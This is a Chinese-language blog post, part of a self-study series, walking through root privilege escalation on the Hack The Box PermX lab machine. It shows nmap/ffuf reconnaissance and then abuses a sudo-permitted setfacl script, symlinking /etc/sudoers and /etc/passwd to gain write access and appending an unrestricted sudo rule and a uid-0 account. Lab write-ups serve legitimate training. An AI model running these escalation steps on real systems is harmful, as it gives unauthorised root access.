iT邦幫忙

2024 iThome 鐵人賽

DAY 8
0
佛心分享-IT 人自學之術

從0到1的攻擊手自學之旅系列 第 8

[鐵人賽] Day 8:HTB挑戰之旅 Machines (二)- PermX _ Part 2

  • 分享至 

  • xImage
  •  

Tips

今天要解決Day 7留下的root.txt flag,因為字典檔案和nc的關係所以會都在Kali環境中處理。Day 7因為把機環境不穩一直重來又要文字紀錄,有些不清楚的地方Day 8這邊會進行重點整理。

我開始說筆電X280太過老舊所以都在Windows操作較多也不違背,因為在ISCB資安稽核只要證明漏洞是可以被利用就夠了,打得太兇狠反而有法律責任。在Day 7我們只要證明能夠利用過舊的套件版本進行檔案上傳,Step 5執行了id指令這樣就夠了,Step 6上傳simple-backdoor.php用www-data權限執行各種指令已經有點超過,因此到這邊Windows和wsl2的工具差不多就可以辦到。

後來ssh使用者帳號登入,Day 8要示範的提權,這些在ISCB資安稽核或者提報給Hitcon都可以不用。但是,如果要完成HTB給的任務又是另外一個故事了。

SOP 回顧

  • VPN連線進入靶機網域
    • sudo openvpn --config (目標).ovpn
  • nmap
    • nmap -F (目標IP): nmap -F 10.129.28.11
    • 或 nmap -T4 (目標IP): nmap -T4 10.129.28.11
    • 或 mmap -p- (目標IP),--min-rate 5000 這個參數只能用在靶機練習。
    • nmap -sV -p(目標埠) (目標IP): nmap -sV -p21 10.129.28.11
      • 發現23 port: telnet (目標IP)
      • 發現21 port: ftp -v (目標IP)
      • 發現139,445 port: smbclient -L (目標IP)
      • 發現6379 port: redis-cli -h (目標IP)
  • ffuf掃瞄子網域名稱(gobuster這隻我比較常用)
  • exploit尋找針對性的POC漏洞驗證進行攻略
    • ffuf -u http://permx.htb -H "Host: FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    • SecLists 上次更新4年前的古老字典檔
  • ls, cat flag.txt, get (檔案名稱), cd, exit, ip addr, curl, nc, ssh

PermX user.txt回顧與解決root.txt

Step 1 openvpn

vpn連線

┌──(kali㉿kali)-[~]
└─$ sudo openvpn --config lab_FinleyLi.ovpn

打開PermX虛擬機(靶機)

Target IP Address

10.10.11.23

檢查Kali虛擬機(攻擊機)

┌──(kali㉿kali)-[~]
└─$ ip addr

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.10.14.89/23 scope global tun0

(重點回顧)

Step 7 sudo -l

前面Step 6從www-data可以讀取的configuration.php找到密碼,ssh成功登入後取得user.txt這個flag。第二個root.txt看名字也猜得到需要提權為系統管理者才能夠取得。

對Linux權限不那麼熟悉的同學這裡有幾個關鍵字先來看一下說明:

  • root Linux 系統中的超級使用者
  • sudo(“superuser do” 的縮寫)避免直接以 root 身份登入
  • sudo su 使用 sudo 提升權限,然後切換到 root 使用者(仍在使用者目錄)
  • sudo -i 以 root 使用者身份啟動一個登入 shell(切換到root目錄)
  • sudo -l 列出當前使用者可以使用 sudo 執行的命令(提權很常用到的指令)
mtz@permx:~$ uname -a&&id&&whoami
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

這時候發現權限控管有個可以利用的檔案**/opt/acl.sh**,用cat指令查看一下內容。

cat /opt/acl.sh

使用者 mtz 可以以 root 身份運行腳本 “/opt/acl.sh”,允許使用者 mtz 更改任何使用者對文件的許可權,只要目標檔位於 “/home/mtz” 目錄中即可。

mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Step 8 提權

根據Step 7的發現總結出以下作法,雖然看起來有些混亂但這裡需要創建一個指向 “/home/mtz” 目錄上 “/etc/sudoers” 檔案的符號連結,以便使用者 mtz 可以使用以下命令間接修改 “/etc/sudoers” 檔。可以這麼做是因為我們透過sudo -l發現可以透過/opt/acl.sh以管理員身分執行/home/mtz下的檔案,所以將sudoers用連結的方式繞過權限控管。

mtz@permx:~$ ln -s /etc/sudoers /home/mtz/sudoers
mtz@permx:~$ ls
script.sh  sudoers  user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoers
  • sudoers
nano /home/mtz/sudoers

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh

把最後一行改成ALL,不過這個動作我重做了10次然後卡住發現sudoers不見了。(靶機人太多也是很麻煩)

# mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
mtz ALL=(ALL:ALL) NOPASSWD: ALL

重新登入

mtz@permx:~$ sudo su
root@permx:/home/mtz# cd /root
root@permx:~# ls
backup reset.sh root.txt
  • passwd

因為靶機重複掛掉太多次可能這時線上(86人)大家都在玩sudoers免密碼登入的設定,這裡我們換一招。先產生一個HASH

mtz@permx:~$ openssl passwd au4a83
$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/

link

mtz@permx:~$ ls
user.txt
mtz@permx:~$ ln -s /etc/passwd passwd
mtz@permx:~$ ls
passwd  user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd

用echo把條件寫進passwd,因為mtz可以用/opt/acl.sh以系統管理者身分去執行,把passwd連結過來之後就可以被我們修改。

mtz@permx:~$ echo 'au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash' >> /home/mtz/passwd
mtz@permx:~$ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/no
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash

我有一次cat的時候只有出現最後一條內容代表ln已經被清除所以echo,不知道為什麼甚麼這台靶機一直在清空自己。

mtz@permx:~$ cat passwd
b0rgch3n:$1$zrd0hGa7$xs1GPMR4gl1lZE1lJwQt81:0:0:root:/root:/bin/bash

切換剛建立的au4a83使用者,然後一直發現passwd突然不見了,重來超過10次。接下來要做的事情只是切換使用者而且au4a83:$1$FtA2b0Zd$e.neWAHiHJKzU4vyNu7d3/:0:0:root:/root:/bin/bash顯示我們可以使用root的權限,只是差在靶機的環境不穩定沒辦法提供完成的樣子。

su au4a83
cd /root
ls
cat root.txt

到這一步沒有辦法完成,因為我前面兩個做法生成的sudoers和passwd一直被洗掉,ls觀看會發現不斷的檔案出現消失ssh斷線。結果這題root.txt卡了我三天時間。如果面對是真實的系統其實也不會比較友善,畢竟我們可是防火牆、WAF、IPS有錢買的防護都給做上去,一發現有惡意行為就會直接阻擋。

Step 9 SOP update

  • VPN連線進入靶機網域
    • sudo openvpn --config (目標).ovpn
  • nmap
    • nmap -F (目標IP): nmap -F 10.129.28.11
    • 或 nmap -T4 (目標IP): nmap -T4 10.129.28.11
    • 或 mmap -p- (目標IP),--min-rate 5000 這個參數只能用在靶機練習。
    • nmap -sV -p(目標埠) (目標IP): nmap -sV -p21 10.129.28.11
      • 發現23 port: telnet (目標IP)
      • 發現21 port: ftp -v (目標IP)
      • 發現139,445 port: smbclient -L (目標IP)
      • 發現6379 port: redis-cli -h (目標IP)
  • ffuf掃瞄子網域名稱(gobuster這隻我比較常用)
  • exploit尋找針對性的POC漏洞驗證進行攻略
    • ffuf -u http://permx.htb -H "Host: FUZZ.permx.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    • SecLists 上次更新4年前的古老字典檔
  • ls, cat flag.txt, get, cd, exit, ip addr, curl, nc, ssh, sudo -l, ln -s, su

這次鐵人賽文章看了好多回重新啟動的這個畫面,可能因為趕稿的壓力特別覺得HTB靶機狀況不穩需要重新啟動。

https://ithelp.ithome.com.tw/upload/images/20240918/20165500cfW4dPTqSw.png

另外半年前做過的靶機都淘汰了,才半年就移到Retired Machines成為時代的眼淚!!

https://ithelp.ithome.com.tw/upload/images/20240918/20165500WPjdXnnhGi.png


上一篇
[鐵人賽] Day 7:HTB挑戰之旅 Machines (一)- PermX _ Part 1
下一篇
[鐵人賽] Day 9:HTB挑戰之旅 Machines (三)- BoardLight
系列文
從0到1的攻擊手自學之旅17
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言